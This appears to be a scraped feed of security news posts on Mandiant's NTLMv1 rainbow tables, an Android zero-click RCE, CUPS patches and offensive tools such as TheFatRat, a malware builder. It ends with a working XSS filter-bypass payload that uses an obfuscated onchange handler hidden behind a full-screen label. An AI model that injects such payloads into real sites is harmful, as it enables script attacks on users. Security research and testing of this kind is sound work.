⚠️ Mandiant Releases Rainbow Tables Enabling NTLMv1 Admin Password Hacking
Source: https://t.co/Z7ja0Urw6X
A comprehensive dataset of Net-NTLMv1 rainbow tables marks a significant escalation in demonstrating the security risks of legacy authentication protocols. Mandiant's dataset now enables security professionals to recover authentication keys in under 12 hours using consumer-grade hardware costing less than $600 USD.
This accessibility transforms Net-NTLMv1 from a theoretical vulnerability into a practical attack vector accessible to a far broader threat actor base. The vulnerability stems from Net-NTLMv1's reliance on a known plaintext attack (KPA) mechanism.
#cybersecurityNews #windows
🚨 Android 0-Click Vulnerability in System Component Allows Remote Code Execution Attacks
Read more: https://t.co/qLamtcQ6Ft
Google has issued a critical security alert for Android devices, highlighting a severe zero-click vulnerability in the system's core components that could allow attackers to execute malicious code remotely without any user interaction.
The primary concern revolves around CVE-2025-48593, a remote code execution (RCE) bug discovered in the System component.
This vulnerability requires no additional privileges or user engagement, making it particularly dangerous.
Attackers could potentially exploit it via crafted network packets or malicious apps distributed through sideloads or third-party stores.
#cybersecuritynews
💡This tool on GitHub is only 2 weeks old, first seen on September 10th, 2025.
Inboxfuscation: An advanced offensive & defensive framework for mailbox rule obfuscation & detection in Exchange environments.
GitHub: https://t.co/CNvKRGrvZW
Release Blog: https://t.co/PFcKpvvMfR
New patches for CUPS, the open-source Linux printing system, fix two flaws that can lead to remote DoS and authentication bypass.
#CUPS#Linux#Cybersecurity#Vulnerability#Printing
https://t.co/JVPPrhTOKv
TheFatRat: An exploiting tool which compiles a malware with famous payload, and then the compiled malware can be executed on Linux , Windows , Mac and Android.
GitHub: https://t.co/Fo6s7ygwu6
WPProbe: A fast and stealthy WordPress plugin enumeration tool
GitHub: https://t.co/wOl58McFWO
• Uses REST API to detect 3,000+ plugins without brute-force
• Maps plugins to known CVEs with version info
• Stealthy, Brute-force, and Hybrid scan modes
• Output in CSV or JSON
• Supports Docker, Go install, and Nix environments
• Ideal for pentesters and bug bounty researchers
A payload to bypass some filters by @xss0r
<input type="checkbox" id="z" value="xss0r" style="display:none" &%2362;="" onchange="top[['alert'][0]](location.hostname);this.remove()"><label for="z" style="position:fixed;inset:0;cursor:crosshair"></label>